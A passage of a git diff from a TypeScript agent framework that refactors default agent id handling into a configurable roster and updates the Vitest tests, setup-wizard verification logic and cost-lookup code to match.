-1799,7 +1858,7 @@ describe("activateSetupInference", () => { if (!initialAuthFingerprint) { throw new Error("expected auth fingerprint"); } - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const runEmbeddedAgent = vi.fn(async (params: SuccessfulRunParams) => { params.onSuccessfulAuthBinding?.({ ...successfulAgentHarnessBinding(params), @@ -2129,7 +2188,7 @@ describe("activateSetupInference", () => { expect(result).toMatchObject({ ok: true, modelRef: "anthropic/claude-opus-5" }); expect(runEmbeddedAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentId: "openclaw", + agentId: "ops", provider: "anthropic", model: "claude-opus-5", agentHarnessRuntimeOverride: "openclaw", @@ -2433,7 +2492,7 @@ describe("activateSetupInference", () => { expect(activatedProfileId).toMatch(/^groq:setup-/); expect(runEmbeddedAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentId: "openclaw", + agentId: "main", provider: "groq", model: "llama-3.3-70b-versatile", authProfileId: activatedProfileId, @@ -3566,7 +3625,7 @@ describe("activateSetupInference", () => { expect(activatedProfileId).toMatch(/^github-copilot:setup-/); expect(runEmbeddedAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentId: "openclaw", + agentId: "main", agentDir: expect.stringContaining("setup-inference-test-"), authProfileId: activatedProfileId, provider: "github-copilot", @@ -3726,7 +3785,7 @@ describe("activateSetupInference", () => { it("prefers usable Codex OAuth without registering a discovered API key", async () => { const readCodexCliActiveApiKey = vi.fn(() => null); - const configHarness = createConfigTransformHarness(); + const configHarness = createPreRosterConfigTransformHarness(); const runEmbeddedAgent = vi.fn(successfulRunner("openai", "gpt-5.6-sol")); const result = await activateSetupInference({ @@ -4038,7 +4097,7 @@ describe("activateSetupInference", () => { ); // Harness selection: codex tests run embedded with the codex harness. expect(runEmbeddedAgent.mock.calls[0]?.[0]).toMatchObject({ - agentId: "openclaw", + agentId: "ops", agentDir: resolveAgentDir(initialConfig, "ops"), provider: "openai", authProfileStateMode: "read-only", @@ -4784,7 +4843,12 @@ describe("activateSetupInference", () => { }) => { const transformed = await params.transform( {}, - { snapshot: { config: {}, runtimeConfig: {} } }, + { + snapshot: { + config: materializedMainRuntimeConfig, + runtimeConfig: materializedMainRuntimeConfig, + }, + }, ); const record = transformed.nextConfig.plugins?.installs?.codex; if (record) { @@ -5943,7 +6007,7 @@ describe("verifySetupInference", () => { expect(result).toMatchObject({ ok: true, modelRef: "openai/gpt-5.5" }); expect(runEmbeddedAgent).toHaveBeenCalledWith( expect.objectContaining({ - agentId: "openclaw", + agentId: "ops", provider: "openai", model: "gpt-5.5", agentHarnessRuntimeOverride: "codex", diff --git a/src/system-agent/system-agent.test-helpers.ts b/src/system-agent/system-agent.test-helpers.ts index 1a90bc6cb48c..f6aa2824391a 100644 --- a/src/system-agent/system-agent.test-helpers.ts +++ b/src/system-agent/system-agent.test-helpers.ts @@ -1,3 +1,4 @@ +import { expect } from "vitest"; import { resolveDefaultAgentId } from "../agents/agent-scope.js"; import { resolveCliBackendConfig } from "../agents/cli-backends.js"; // OpenClaw test helpers build runtime environments for rescue tests. @@ -11,6 +12,7 @@ import { resolveCliRuntimeExecutionProvider } from "../agents/model-runtime-alia import { resolveSimpleCompletionSelectionForAgent } from "../agents/simple-completion-runtime.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { RuntimeEnv } from "../runtime.js"; +import { listSystemAgentAuditEntriesForTests } from "./audit.test-support.js"; import { resolveSystemAgentConfiguredRouteFromConfig } from "./inference-route.js"; import { createSystemAgentVerifiedInferenceBinding, @@ -23,6 +25,36 @@ type SystemAgentVerifiedInferenceTestFixture = { deps: SystemAgentVerifiedInferenceDeps; }; +export function readLastSystemAgentAuditEntry(): unknown { + return listSystemAgentAuditEntriesForTests().at(-1)?.value; +} + +export function requireTestRecord(value: unknown, label: string): Record { + if (typeof value !== "object" || value === null) { + throw new Error(`${label} was not an object`); + } + return value as Record; +} + +export function expectTestRecordFields( + record: Record, + fields: Record, +): void { + for (const [key, value] of Object.entries(fields)) { + expect(record[key]).toEqual(value); + } +} + +export function expectSystemAgentAuditRecord( + audit: unknown, + fields: Record, + detailFields: Record, +): void { + const auditRecord = requireTestRecord(audit, "audit record"); + expectTestRecordFields(auditRecord, fields); + expectTestRecordFields(requireTestRecord(auditRecord.details, "audit details"), detailFields); +} + /** Build exact, revalidatable proof for a test config without reading host credentials. */ export async function createSystemAgentVerifiedInferenceTestFixture( config: OpenClawConfig, diff --git a/src/system-agent/verified-inference.test.ts b/src/system-agent/verified-inference.test.ts index 3ee997586234..f5463744be14 100644 --- a/src/system-agent/verified-inference.test.ts +++ b/src/system-agent/verified-inference.test.ts @@ -422,7 +422,9 @@ describe("verified OpenClaw inference binding", () => { it("accepts and revalidates an opaque CLI owner emitted after a successful turn", async () => { const cliConfig = { - agents: { defaults: { model: "claude-cli/claude-opus-4-8" } }, + agents: { + entries: { ops: { default: true, model: "claude-cli/claude-opus-5" } }, + }, } satisfies OpenClawConfig; const route = await resolveSystemAgentConfiguredRouteFromConfig(cliConfig); if (!route || route.runner !== "cli") { @@ -449,6 +451,7 @@ describe("verified OpenClaw inference binding", () => { authFingerprint: "opaque-cli-owner", proofKind: "runtime-owner", }); + expect(resolveOwner).toHaveBeenCalledWith(expect.objectContaining({ agentId: "ops" })); await expect( resolveSystemAgentVerifiedInferenceRoute(binding, { readConfigFileSnapshot: vi.fn(async () => ({ diff --git a/src/system-agent/verified-inference.ts b/src/system-agent/verified-inference.ts index 1c3ce582d7fe..3ab1934e271e 100644 --- a/src/system-agent/verified-inference.ts +++ b/src/system-agent/verified-inference.ts @@ -230,7 +230,7 @@ async function resolveCurrentRuntimeOwnerFingerprint(params: { provider: params.route.provider, config: params.route.runConfig, agentDir: params.route.agentDir, - agentId: "openclaw", + agentId: params.route.agentId, runtimeOwnerId: params.runtimeOwnerId, ...(params.authProfileId ? { authProfileId: params.authProfileId } : {}), ...(params.skipLocalCredential ? { skipLocalCredential: true } : {}), @@ -695,7 +695,7 @@ export async function createSystemAgentVerifiedInferenceBinding(params: { currentRuntimeArtifactFingerprint = await resolveArtifact({ provider: execution.provider, config: execution.runConfig, - agentId: "openclaw", + agentId: execution.agentId, runtimeArtifactId: params.auth.runtimeArtifactId.trim(), }); if (currentRuntimeArtifactFingerprint !== params.auth.runtimeArtifactFingerprint) { @@ -897,7 +897,7 @@ export async function resolveSystemAgentVerifiedInferenceRoute( currentRuntimeArtifactFingerprint = await resolveArtifact({ provider: currentExecution.provider, config: currentExecution.runConfig, - agentId: "openclaw", + agentId: currentExecution.agentId, runtimeArtifactId: binding.auth.runtimeArtifactId, }).catch(() => undefined); if (currentRuntimeArtifactFingerprint !== binding.auth.runtimeArtifactFingerprint) { diff --git a/src/trajectory/export.test.ts b/src/trajectory/export.test.ts index 93ff1493b885..9e1402c4116d 100644 --- a/src/trajectory/export.test.ts +++ b/src/trajectory/export.test.ts @@ -326,7 +326,7 @@ describe("exportTrajectoryBundle", () => { }, ], ); - appendSqliteTrajectoryRuntimeEvents({ sessionId, storePath }, [ + appendSqliteTrajectoryRuntimeEvents({ agentId: "main", sessionId, storePath }, [ { traceSchema: "openclaw-trajectory", schemaVersion: 1, diff --git a/src/trajectory/runtime-store.sqlite.ts b/src/trajectory/runtime-store.sqlite.ts index 59f328aac260..83c181692159 100644 --- a/src/trajectory/runtime-store.sqlite.ts +++ b/src/trajectory/runtime-store.sqlite.ts @@ -6,7 +6,7 @@ import { executeSqliteQueryTakeFirstSync, getNodeSqliteKysely, } from "../infra/kysely-sync.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { normalizeAgentId } from "../routing/session-key.js"; import type { DB as OpenClawAgentKyselyDatabase } from "../state/openclaw-agent-db.generated.js"; import { openOpenClawAgentDatabase, @@ -135,8 +135,12 @@ function toDatabaseOptions(scope: { `SQLite trajectory store path belongs to agent ${target.agentId}; requested agent ${requestedAgentId}.`, ); } + const agentId = requestedAgentId ?? target.agentId; + if (!agentId) { + throw new Error("Trajectory store scope requires an explicit agent id."); + } return { - agentId: requestedAgentId ?? target.agentId ?? DEFAULT_AGENT_ID, + agentId, ...(scope.env ? { env: scope.env } : {}), ...(target.path ? { path: target.path } : {}), }; diff --git a/src/tts/tts-config.ts b/src/tts/tts-config.ts index b95bdfcfa5bd..a20244b03edc 100644 --- a/src/tts/tts-config.ts +++ b/src/tts/tts-config.ts @@ -6,10 +6,11 @@ import { normalizeLowercaseStringOrEmpty, normalizeOptionalString, } from "@openclaw/normalization-core/string-coerce"; +import { resolveAgentConfig } from "../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../config/types.js"; import type { TtsAutoMode, TtsConfig, TtsMode } from "../config/types.tts.js"; import { mergeDeep } from "../infra/deep-merge.js"; -import { normalizeAccountId, normalizeAgentId } from "../routing/session-key.js"; +import { normalizeAccountId } from "../routing/session-key.js"; import { readConfigMachineState } from "../state/config-machine-state.js"; import { resolveConfigDir, resolveUserPath } from "../utils.js"; import { normalizeTtsAutoMode } from "./tts-auto-mode.js"; @@ -26,12 +27,10 @@ function resolveAgentTtsOverride( cfg: OpenClawConfig, agentId: string | undefined, ): TtsConfig | undefined { - if (!agentId || !Array.isArray(cfg.agents?.list)) { + if (!agentId) { return undefined; } - const normalized = normalizeAgentId(agentId); - const agent = cfg.agents.list.find((entry) => normalizeAgentId(entry.id) === normalized); - return agent?.tts; + return resolveAgentConfig(cfg, agentId)?.tts; } function resolveTtsConfigContext( diff --git a/src/tui/embedded-backend.ts b/src/tui/embedded-backend.ts index 75c0dbc5cf64..7799cd5edada 100644 --- a/src/tui/embedded-backend.ts +++ b/src/tui/embedded-backend.ts @@ -2,6 +2,7 @@ import { randomUUID } from "node:crypto"; import type { SessionsPatchResult } from "../../packages/gateway-protocol/src/index.js"; import { agentCommandFromIngress } from "../agents/agent-command.js"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { resolveAgentDir, resolveAgentWorkspaceDir, @@ -169,7 +170,7 @@ const embeddedSessionStartupMigrationLog = { function hasProviderWildcardModelAllowlist(cfg: OpenClawConfig) { const modelMaps = [ cfg.agents?.defaults?.models, - ...(cfg.agents?.list?.map((agent) => agent?.models) ?? []), + ...listAgentEntries(cfg).map((agent) => agent.models), ]; return modelMaps.some((models) => Object.keys(models ?? {}).some((key) => key.trim().endsWith("/*")), diff --git a/src/tui/tui-pty-harness.e2e.test.ts b/src/tui/tui-pty-harness.e2e.test.ts index 2568bcd38169..9d58168aa05a 100644 --- a/src/tui/tui-pty-harness.e2e.test.ts +++ b/src/tui/tui-pty-harness.e2e.test.ts @@ -477,7 +477,10 @@ async function writeTuiPtyFixtureScript(dir: string) { await runTui({ backend: new FixtureBackend(), config: { - agents: { defaults: { model: "fixture-provider/fixture-model" } }, + agents: { + defaults: { model: "fixture-provider/fixture-model" }, + entries: { main: { default: true } }, + }, session: { scope: "per-sender", mainKey: "main" }, }, deliver: false, diff --git a/src/utils/usage-format.agent-roster.test.ts b/src/utils/usage-format.agent-roster.test.ts new file mode 100644 index 000000000000..9b0c2aba99c5 --- /dev/null +++ b/src/utils/usage-format.agent-roster.test.ts @@ -0,0 +1,48 @@ +import fs from "node:fs/promises"; +import path from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js"; +import type { OpenClawConfig } from "../config/config.js"; +import { resetUsageFormatCachesForTest, resolveModelCostConfig } from "./usage-format.js"; + +const tempDirs = useAutoCleanupTempDirTracker(afterEach); + +describe("usage-format agent roster", () => { + afterEach(() => { + resetUsageFormatCachesForTest(); + }); + + it("uses the default agent directory from a list-shaped roster", async () => { + const opsAgentDir = path.join(tempDirs.make("openclaw-usage-list-roster-"), "custom-ops-agent"); + await fs.mkdir(opsAgentDir, { recursive: true }); + await fs.writeFile( + path.join(opsAgentDir, "models.json"), + JSON.stringify({ + providers: { + "demo-list-roster": { + models: [ + { + id: "demo-model", + cost: { input: 42, output: 0, cacheRead: 0, cacheWrite: 0 }, + }, + ], + }, + }, + }), + "utf8", + ); + const config = { + agents: { + list: [{ id: "ops", default: true, agentDir: opsAgentDir }], + }, + } as unknown as OpenClawConfig; + + expect( + resolveModelCostConfig({ + provider: "demo-list-roster", + model: "demo-model", + config, + })?.input, + ).toBe(42); + }); +}); diff --git a/src/utils/usage-format.ts b/src/utils/usage-format.ts index 54410f19c6b7..4b81b677d419 100644 --- a/src/utils/usage-format.ts +++ b/src/utils/usage-format.ts @@ -5,9 +5,14 @@ import path from "node:path"; import { expectDefined } from "@openclaw/normalization-core"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; -import { resolveDefaultAgentDir } from "../agents/agent-scope-config.js"; +import { + listAgentEntries, + resolveAgentDir, + resolveDefaultAgentId, +} from "../agents/agent-scope-config.js"; import { modelKey, normalizeModelRef, normalizeProviderId } from "../agents/model-selection.js"; import type { NormalizedUsage } from "../agents/usage.js"; +import { resolveStateDir } from "../config/paths.js"; import type { ModelProviderConfig } from "../config/types.models.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { getGatewayModelPricingCacheFingerprint } from "../gateway/model-pricing-cache-state.js"; @@ -350,7 +355,10 @@ function loadModelsJsonCostIndex(options?: { allowPluginNormalization?: boolean; }): Map { const useRawEntries = options?.allowPluginNormalization === false; - const agentDir = options?.agentDir ?? resolveDefaultAgentDir({}); + const agentDir = options?.agentDir; + if (!agentDir) { + return EMPTY_PROVIDER_COST_INDEX; + } const modelsPath = path.join(agentDir, "models.json"); try { let modelsJsonCostCache = modelsJsonCostCacheByAgentDir.get(agentDir); @@ -390,6 +398,18 @@ function loadModelsJsonCostIndex(options?: { } } +function resolveCostAgentDir(config?: OpenClawConfig, agentDir?: string): string | undefined { + if (agentDir) { + return agentDir; + } + if (config && listAgentEntries(config).length > 0) { + return resolveAgentDir(config, resolveDefaultAgentId(config)); + } + // Config-less and pricing-only lookups are shipped APIs for the historical + // main models.json. Full runtime configs resolve their roster default above. + return path.join(resolveStateDir(), "agents", "main", "agent"); +} + function findConfiguredProviderCost(params: { provider?: string; model?: string; @@ -591,15 +611,21 @@ export function resolveModelCostConfigFingerprint( config?: OpenClawConfig, agentDir?: string, ): string { + const resolvedAgentDir = resolveCostAgentDir(config, agentDir); return stableCostFingerprintValue({ configuredRaw: serializeCostIndex( getProviderCostIndex(config?.models?.providers, { allowPluginNormalization: false }), ), configuredNormalized: serializeCostIndex(getProviderCostIndex(config?.models?.providers)), modelsJsonRaw: serializeCostIndex( - loadModelsJsonCostIndex({ agentDir, allowPluginNormalization: false }), + loadModelsJsonCostIndex({ + agentDir: resolvedAgentDir, + allowPluginNormalization: false, + }), + ), + modelsJsonNormalized: serializeCostIndex( + loadModelsJsonCostIndex({ agentDir: resolvedAgentDir }), ), - modelsJsonNormalized: serializeCostIndex(loadModelsJsonCostIndex({ agentDir })), gatewayPricing: getGatewayModelPricingCacheFingerprint(), }); } @@ -619,11 +645,12 @@ export function resolveModelCostConfig(params: { if (!rawKey) { return undefined; } + const agentDir = resolveCostAgentDir(params.config, params.agentDir); // Favor direct configured keys first so local pricing/status lookups stay // synchronous and do not drag plugin/provider discovery into the hot path. const rawModelsJsonCost = loadModelsJsonCostIndex({ - agentDir: params.agentDir, + agentDir, allowPluginNormalization: false, }).get(rawKey); if (rawModelsJsonCost) { @@ -645,7 +672,7 @@ export function resolveModelCostConfig(params: { if (shouldUseNormalizedCostLookup(params)) { const key = toResolvedModelKey(params); if (key && key !== rawKey) { - const modelsJsonCost = loadModelsJsonCostIndex({ agentDir: params.agentDir }).get(key); + const modelsJsonCost = loadModelsJsonCostIndex({ agentDir }).get(key); if (modelsJsonCost) { return modelsJsonCost; } diff --git a/src/web-search/runtime.test.ts b/src/web-search/runtime.test.ts index 0fd9e448e121..7e92e9722818 100644 --- a/src/web-search/runtime.test.ts +++ b/src/web-search/runtime.test.ts @@ -458,7 +458,7 @@ describe("web search runtime", () => { runWebSearch({ config: { agents: { - list: [{ id: "main", agentDir }], + list: [{ id: "main", default: true, agentDir }], }, }, args: { query: "oauth-backed web search" }, diff --git a/src/wizard/setup.inference-verification.test.ts b/src/wizard/setup.inference-verification.test.ts index 4d67bb57547f..20df84ed9d2c 100644 --- a/src/wizard/setup.inference-verification.test.ts +++ b/src/wizard/setup.inference-verification.test.ts @@ -1,5 +1,6 @@ // Setup inference verification tests keep noninteractive imports prompt-free. -import { describe, expect, it, vi } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { WizardPrompter } from "./prompts.js"; const mocks = vi.hoisted(() => ({ @@ -23,6 +24,11 @@ vi.mock("./setup.model-auth.js", () => ({ import { offerLiveModelVerification } from "./setup.inference-verification.js"; describe("offerLiveModelVerification", () => { + beforeEach(() => { + mocks.repair.mockReset(); + mocks.verify.mockReset(); + }); + it("does not enter interactive repair for a failed noninteractive import", async () => { mocks.verify.mockResolvedValue({ ok: false, status: "auth", error: "credential expired" }); const select = vi.fn(); @@ -49,10 +55,62 @@ describe("offerLiveModelVerification", () => { }), ).resolves.toEqual({ config: { agents: { defaults: { model: { primary: "openai/gpt-5.6-sol" } } } }, + attempted: true, + persisted: false, verified: false, }); expect(select).not.toHaveBeenCalled(); expect(mocks.repair).not.toHaveBeenCalled(); }); + + it("reports when a repair candidate persisted its verified config", async () => { + const repairedConfig: OpenClawConfig = { + agents: { entries: { main: { default: true } } }, + models: { + providers: { + openai: { apiKey: "test-key", baseUrl: "https://api.openai.com/v1", models: [] }, + }, + }, + }; + const persistAuthProfiles = vi.fn(async () => {}); + const writeConfig = vi.fn(async () => repairedConfig); + mocks.verify + .mockResolvedValueOnce({ ok: false, status: "auth", error: "credential expired" }) + .mockResolvedValueOnce({ ok: true, modelRef: "openai/gpt-5.6", latencyMs: 10 }); + mocks.repair.mockResolvedValue({ + config: repairedConfig, + authProfiles: [], + persistAuthProfiles, + }); + const prompter = { + intro: vi.fn(), + outro: vi.fn(), + note: vi.fn(), + confirm: vi.fn(async () => true), + select: vi.fn(async () => "fix"), + multiselect: vi.fn(), + text: vi.fn(), + progress: vi.fn(() => ({ stop: vi.fn(), update: vi.fn() })), + } as unknown as WizardPrompter; + + await expect( + offerLiveModelVerification({ + config: { agents: { entries: { main: { default: true } } } }, + opts: {}, + prompter, + runtime: { log: vi.fn(), error: vi.fn(), exit: vi.fn() } as never, + workspaceDir: "/tmp/openclaw-test-workspace", + writeConfig, + }), + ).resolves.toEqual({ + config: repairedConfig, + attempted: true, + persisted: true, + verified: true, + modelRef: "openai/gpt-5.6", + }); + expect(persistAuthProfiles).toHaveBeenCalledOnce(); + expect(writeConfig).toHaveBeenCalledOnce(); + }); }); diff --git a/src/wizard/setup.inference-verification.ts b/src/wizard/setup.inference-verification.ts index f88d23214351..ed7eda18bbb9 100644 --- a/src/wizard/setup.inference-verification.ts +++ b/src/wizard/setup.inference-verification.ts @@ -9,6 +9,7 @@ import { runSetupModelAuthStep, type SetupModelAuthCandidate } from "./setup.mod export async function offerLiveModelVerification(params: { config: OpenClawConfig; + initialCandidate?: SetupModelAuthCandidate; opts: OnboardOptions; prompter: WizardPrompter; runtime: RuntimeEnv; @@ -17,14 +18,20 @@ export async function offerLiveModelVerification(params: { stateDir?: string; writeConfig: (config: OpenClawConfig) => Promise; required?: boolean; -}): Promise<{ config: OpenClawConfig; verified: boolean; modelRef?: string }> { +}): Promise<{ + config: OpenClawConfig; + attempted: boolean; + persisted: boolean; + verified: boolean; + modelRef?: string; +}> { if (!params.required) { const shouldTest = await params.prompter.confirm({ message: t("wizard.setup.testAiAccess"), initialValue: true, }); if (!shouldTest) { - return { config: params.config, verified: false }; + return { config: params.config, attempted: false, persisted: false, verified: false }; } } const [inference, authStore, agentDatabase] = await Promise.all([ @@ -75,27 +82,41 @@ export async function offerLiveModelVerification(params: { return result; }; - let candidate: SetupModelAuthCandidate = { - config: params.config, - authProfiles: [], - persistAuthProfiles: async () => {}, - }; - let shouldPersistCandidate = false; + let candidate: SetupModelAuthCandidate = + params.initialCandidate ?? + ({ + config: params.config, + authProfiles: [], + persistAuthProfiles: async () => {}, + } satisfies SetupModelAuthCandidate); + let shouldPersistCandidate = params.initialCandidate !== undefined; while (true) { const result = await verify(candidate); if (result.ok) { if (!shouldPersistCandidate) { - return { config: params.config, verified: true, modelRef: result.modelRef }; + return { + config: params.config, + attempted: true, + persisted: false, + verified: true, + modelRef: result.modelRef, + }; } await candidate.persistAuthProfiles(result.authProfiles); const config = await params.writeConfig(candidate.config); - return { config, verified: true, modelRef: result.modelRef }; + return { + config, + attempted: true, + persisted: true, + verified: true, + modelRef: result.modelRef, + }; } if (result.authProfiles) { candidate.authProfiles = result.authProfiles; } if (params.opts.nonInteractive) { - return { config: params.config, verified: false }; + return { config: params.config, attempted: true, persisted: false, verified: false }; } if ( !params.required && @@ -107,7 +128,7 @@ export async function offerLiveModelVerification(params: { ], })) === "continue" ) { - return { config: params.config, verified: false }; + return { config: params.config, attempted: true, persisted: false, verified: false }; } candidate = await runSetupModelAuthStep({ diff --git a/src/wizard/setup.test.ts b/src/wizard/setup.test.ts index 4728ca7ae27f..f21341b49b22 100644 --- a/src/wizard/setup.test.ts +++ b/src/wizard/setup.test.ts @@ -15,7 +15,7 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { PluginCompatibilityNotice } from "../plugins/status.js"; import type { ProviderAuthResult } from "../plugins/types.js"; import type { RuntimeEnv } from "../runtime.js"; -import type { WizardPrompter, WizardSelectParams } from "./prompts.js"; +import { WizardCancelledError, type WizardPrompter, type WizardSelectParams } from "./prompts.js"; import { runSetupWizard } from "./setup.js"; type ResolveProviderPluginChoice = @@ -164,7 +164,9 @@ function providerPluginStub( } const healthCommand = vi.hoisted(() => vi.fn(async () => {})); const ensureWorkspaceAndSessions = vi.hoisted(() => vi.fn(async () => {})); -const replaceConfigFile = vi.hoisted(() => vi.fn(async () => ({ config: {} }))); +const replaceConfigFile = vi.hoisted(() => + vi.fn(async (params: { nextConfig: OpenClawConfig }) => ({ config: params.nextConfig })), +); const resolveGatewayPort = vi.hoisted(() => vi.fn((_cfg?: unknown, env?: NodeJS.ProcessEnv) => { const raw = env?.OPENCLAW_GATEWAY_PORT ?? process.env.OPENCLAW_GATEWAY_PORT; @@ -179,6 +181,7 @@ const readConfigFileSnapshot = vi.hoisted(() => raw: null as string | null, parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: undefined as OpenClawConfig | undefined, valid: true, config: {}, issues: [] as Array<{ path: string; message: string }>, @@ -210,7 +213,10 @@ function getWizardNoteCalls(note: WizardPrompter["note"]) { function modelConfigWithApiKey(apiKey: string): OpenClawConfig { return { - agents: { defaults: { model: { primary: "openai/gpt-5.5" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.5" } }, + entries: { main: { default: true } }, + }, auth: { profiles: { "openai:default": { provider: "openai", mode: "api_key" } }, order: { openai: ["openai:default"] }, @@ -397,10 +403,20 @@ vi.mock("../system-agent/setup-inference.js", () => ({ vi.mock("../config/config.js", () => ({ DEFAULT_GATEWAY_PORT: 18789, createConfigIO, + readConfigFileSnapshot, resolveGatewayPort, replaceConfigFile, })); - +vi.mock("../commands/onboard-agent.js", async () => { + const { resolveDefaultAgentId } = await import("../agents/agent-scope-config.js"); + return { + ensureOnboardingConfig: async (config: OpenClawConfig) => ({ + config, + agentId: resolveDefaultAgentId(config), + bootstrapPending: true, + }), + }; +}); vi.mock("../commands/onboard-helpers.js", () => ({ DEFAULT_WORKSPACE: "/tmp/openclaw-workspace", applyWizardMetadata: (cfg: unknown) => cfg, @@ -505,15 +521,21 @@ describe("runSetupWizard", () => { return dir; } - function configSnapshot(config: OpenClawConfig, exists = true) { + function configSnapshot( + config: OpenClawConfig, + exists = true, + runtimeConfig: OpenClawConfig = config, + ) { return { path: "/tmp/.openclaw/openclaw.json", exists, raw: exists ? "{}" : null, parsed: config, resolved: config, + sourceConfigBeforeMigrations: config, valid: true as const, - config, + runtimeConfig, + config: runtimeConfig, issues: [], warnings: [], legacyIssues: [], @@ -553,7 +575,9 @@ describe("runSetupWizard", () => { }, })); readConfigFileSnapshot.mockReset(); - readConfigFileSnapshot.mockResolvedValue(configSnapshot({}, false)); + readConfigFileSnapshot.mockResolvedValue( + configSnapshot({}, false, { agents: { entries: { main: { default: true } } } }), + ); probeGatewayReachable.mockReset(); probeGatewayReachable.mockResolvedValue({ ok: false }); resolvePreferredProviderForAuthChoice.mockReset(); @@ -630,8 +654,9 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: true, - config: {}, + config: { agents: { entries: { main: { default: true } } } }, issues: [], warnings: [], legacyIssues: [], @@ -692,6 +717,7 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: false, config: {}, issues: [{ path: "routing.allowFrom", message: "Legacy key" }], @@ -772,6 +798,7 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: true, config: { gateway: { @@ -828,6 +855,7 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: true, config: { gateway: { @@ -1013,8 +1041,12 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: true, - config: { wizard: { securityAcknowledgedAt: "2026-06-30T00:00:00.000Z" } }, + config: { + wizard: { securityAcknowledgedAt: "2026-06-30T00:00:00.000Z" }, + agents: { entries: { main: { default: true } } }, + }, issues: [], warnings: [], legacyIssues: [], @@ -1199,10 +1231,15 @@ describe("runSetupWizard", () => { modelRef: "openai/gpt-5.6-sol", }); const importedConfig = { - agents: { defaults: { model: { primary: "openai/gpt-5.6-sol" } } }, + agents: { + defaults: { model: { primary: "openai/gpt-5.6-sol" } }, + entries: { main: { default: true } }, + }, }; readConfigFileSnapshot - .mockResolvedValueOnce(configSnapshot({}, false)) + .mockResolvedValueOnce( + configSnapshot({}, false, { agents: { entries: { main: { default: true } } } }), + ) .mockResolvedValue(configSnapshot(importedConfig)); const confirm = vi.fn(async () => true) as unknown as WizardPrompter["confirm"]; const prompter = buildWizardPrompter({ confirm }); @@ -1239,10 +1276,15 @@ describe("runSetupWizard", () => { modelRef: "openai/gpt-5.6-sol", }); const importedConfig = { - agents: { defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } } }, + agents: { + defaults: { model: { primary: "anthropic/claude-sonnet-4-6" } }, + entries: { main: { default: true } }, + }, }; readConfigFileSnapshot - .mockResolvedValueOnce(configSnapshot({}, false)) + .mockResolvedValueOnce( + configSnapshot({}, false, { agents: { entries: { main: { default: true } } } }), + ) .mockResolvedValue(configSnapshot(importedConfig)); await runSetupWizard( @@ -1269,11 +1311,24 @@ describe("runSetupWizard", () => { it("keeps verification optional when provider setup supplies the post-import model", async () => { const workspaceDir = await makeCaseDir("provider-after-import-"); readConfigFileSnapshot - .mockResolvedValueOnce(configSnapshot({}, false)) - .mockResolvedValue(configSnapshot({})); - applyAuthChoice.mockResolvedValue({ - config: { agents: { defaults: { model: { primary: "openai/gpt-5.6" } } } }, - }); + .mockResolvedValueOnce( + configSnapshot({}, false, { agents: { entries: { main: { default: true } } } }), + ) + .mockResolvedValue( + configSnapshot({}, true, { agents: { entries: { main: { default: true } } } }), + ); + applyAuthChoice.mockImplementation(async (args) => ({ + config: { + ...args.config, + agents: { + ...args.config.agents, + defaults: { + ...args.config.agents?.defaults, + model: { primary: "openai/gpt-5.6" }, + }, + }, + }, + })); const confirm = vi.fn(async () => false) as unknown as WizardPrompter["confirm"]; const prompter = buildWizardPrompter({ confirm }); @@ -1300,6 +1355,52 @@ describe("runSetupWizard", () => { expect.objectContaining({ message: "Test AI access now with a live completion?" }), ); expect(verifySetupInferenceConfig).not.toHaveBeenCalled(); + expect(persistedWizardConfigs().at(-1)?.agents?.defaults?.model).toEqual({ + primary: "openai/gpt-5.6", + }); + }); + + it("preserves imported fleet workspace ownership until the user confirms a move", async () => { + const currentWorkspace = await makeCaseDir("imported-fleet-current-"); + const requestedWorkspace = await makeCaseDir("imported-fleet-requested-"); + const importedConfig: OpenClawConfig = { + agents: { + defaults: { workspace: currentWorkspace }, + entries: { main: { default: true }, ops: {} }, + }, + }; + readConfigFileSnapshot + .mockResolvedValueOnce( + configSnapshot({}, false, { agents: { entries: { main: { default: true } } } }), + ) + .mockResolvedValue(configSnapshot(importedConfig)); + const confirm = vi.fn(async () => false) as unknown as WizardPrompter["confirm"]; + + await runSetupWizard( + { + acceptRisk: true, + flow: "quickstart", + importFrom: "hermes", + authChoice: "skip", + installDaemon: false, + skipChannels: true, + skipSkills: true, + skipSearch: true, + skipHealth: true, + skipUi: true, + workspace: requestedWorkspace, + }, + createRuntime(), + buildWizardPrompter({ confirm }), + ); + + expect(confirm).toHaveBeenCalledWith( + expect.objectContaining({ + message: expect.stringContaining("Move the existing agent fleet"), + initialValue: false, + }), + ); + expect(persistedWizardConfigs().at(-1)?.agents?.defaults?.workspace).toBe(currentWorkspace); }); it("treats --import-source alone as import intent instead of prompting for a setup mode", async () => { @@ -1341,8 +1442,10 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: true, config: { + agents: { entries: { main: { default: true } } }, plugins: { installs: { demo: { source: "npm", spec: "@openclaw/demo-plugin" }, @@ -1451,6 +1554,7 @@ describe("runSetupWizard", () => { raw: "{}", parsed: {}, resolved: {}, + sourceConfigBeforeMigrations: {}, valid: true, 